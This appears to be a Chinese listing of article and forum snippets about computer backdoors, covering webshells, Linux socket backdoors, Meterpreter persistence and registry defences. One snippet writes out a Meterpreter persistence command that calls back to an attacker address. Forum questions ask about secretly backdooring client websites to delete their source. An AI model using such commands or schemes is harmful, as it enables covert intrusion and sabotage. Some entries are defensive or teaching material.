入侵电脑留后门
从某种意义上说，服务器被攻击是不可避免的，甚至被控制也情有可原。但绝对不能容忍的是，服务器被植入后门，攻击者如入无人之境，而管理者去浑然不觉。本文将对当前比较流行的后门技术进行解析，知己知彼方能杜绝后门。 1、放大镜后门 放大镜（magnify.exe）是Windows2000/XP...
PHP之编写日志文件留后门（免杀）
（我知道你们都喜欢干货，所以也没亏待你们，请到文末吧，成果附件已上传~） 本文原创作者：Laimooc(原名xoanHn) 鄙人宗旨： 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章，目的在于和各位信息安全爱好者共进步共繁荣。 脚本功能与优点： 一句话：记录...
请高手指路：怎样在自己编写的程序中留后门呀，？？？？
请高手指路：怎样在自己编写的程序中留后门呀，？？？？11 个解决方案 #1 想实现什么功能加进去啊，一起运行就行了啊 ...
为了维护自己的权益，大家都有没有在自己做的网站上留后门啊？？？
为了维护自己的权益，大家都有没有在自己做的网站上留后门啊？？？27 个解决方案 #1 有时候给自己留后门，也是给别人留后门。 ...
网站后台检查版本的代码怎么写， 还有怎么留后门?
想在网站后台增加一个功能： 如果客户现在的版本低于我最新发布的，就提醒升级。 还有些客户做好了网站就不给余款，是否可以留个后门，遇到那种不给余款还骂人的，就通过一个秘密地址把他网站源码 unlink()掉。 大牛们给个思路，谢谢。 5 个解决方案 ...
ASPX版菜刀一句话，留后门专用
首先解释一下为什么要做这个玩意：众所周知.net一句话是不能插入到文件之中的，除非那个页面使用Jscript编写，但是现在看来 Jscript市场很低，遇到的.net站基本都是C#。新建一个SHELL太过于明显，而且其中的eval更是在WEBSHELL扫描工具的淫威下直接 出局。如果不能提权的话，那...
在硬件中预留后门
有一外国网友贴出了对中国可能通过在硬件中预留的后门对美国进行攻击的担忧（http://hardware.slashdot.org/story/10/10/29/1456242/Hiding-Backdoors-In-Hardware），网友的回帖更是火爆。下面就是在硬件中预留后门的详细方法。（原文：...
后门技巧利用
特别声明：本文所涉及内容仅供讨论网络安全技术，严禁用作非法用途，否则后果自负。 今天在freebuf上看到一篇文章，关于后门的，决定复现一下，顺便写个文章总结一下。 照文中描述，遂准备以下工具若干。 [工具准备]： Windows7 靶机 Kali系统 gif/jpg/png任意图片一张 Em...
PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)
今天一个客户的服务器频繁被写入一句话后门，删除了还有，原来在程序中加入了如下代码，大家可以注意下base64_decode函数的参数。
一个简单的Linux后门程序的实现
该程序实质是一个简单的socket编程，在受害方上运行攻击代码（后门进程），通过socket打开一个预设端口，并监听，等待攻击方的链接。一旦攻击方通过网络链接工具试图链接该socket，那么后门进程立刻fork一个子进程来处理链接请求。处理请求的行为即用exec函数打开一个shell来代替本子进程，...
Meterpreter 建立持久后门 backdoor
安装后门方法一：meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 609628 bytes longRunningPersistance ScriptResource ...
Kali Linux Web后门工具、Windows操作系统痕迹清除方法
Kali Linux Web后门工具Kali的web后门工具一共有四款，今天只介绍WebaCoo首先介绍第一个WeBaCoo（Web Backdoor Cookie）WeBaCoo是一款隐蔽的脚本类Web后门工具。借助HTTP协议，它可在客户端和Web服务器之间实现执行代码的网页终端。WeBaCoo...
20165221 《网络对抗技术》EXP2：后门原理与实践
20165221 《网络对抗技术》EXP2：后门原理与实践实验任务任务一：使用netcat获取主机操作Shell，cron启动 (0.5分)任务二：使用socat获取主机操作Shell, 任务计划启动 (0.5分)任务三：使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或...
c/c++----网站及其后门(CGI应用程序)
C/C++学习到这儿，结合自己曾经学过的javasweb知识，现在让我们来看看，如何做一个CGI程序吧！ 首先了解一下啥子叫CGI ：CGI全称是“公共网关接口”(Common Gateway Interface)，HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具，其程序须运行在网络服...
手把手教你编写一个简单的PHP模块形态的后门
看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit，就能持久接管服务器文章，很感兴趣，苦无作者没留下PoC，自己研究一番，有了此文0×00. 引言PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现。由于php是个开源软件并易...
修改注册表对付病毒木马后门及黑客
在网络给我们的工作学习带来极大方便的同时，病毒、木马、后门以及黑客程序也严重影响着信息的安全。这些程序感染计算机的一个共同特点是在注册表中写入信息，来达到如自动运行、破坏和传播等目的。以下是笔者在网上收集的，通过修改注册表来对付病毒、木马、后门以及黑客程序，保证个人计算机的安全。 1...
修改注册表对付病毒、木马、后门及黑客程序
修改注册表对付病毒、木马、后门及黑客程序 在网络给我们的工作学习带来极大方便的同时，病毒、木马、后门以及黑客程序也严重影响着信息的安全。这些程序感染计算机的一个共同特点是在注册表中写入信息，来达到如自动运行、破坏和传播等目的。以下是笔者在网上收集的，通过修改注册表来对付病毒、木马、后门以...
一个简单的Linux后门程序的实现
该程序实质是一个简单的socket编程，在受害方上运行攻击代码（后门进程），通过socket打开一个预设端口，并监听，等待攻击方的链接。一旦攻击方通过网络链接工具试图链接该socket，那么后门进程立刻fork一个子进程来处理链接请求。处理请求的行为即用exec函数打开一个shell来代...
慎用preg_replace危险的/e修饰符(一句话后门常用)
要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误
Mysql的语句生成后门木马的方法
这篇文章主要介绍了Mysql的语句生成后门木马的方法，大家不要随意搞破坏哦，小伙伴们学习下就好了。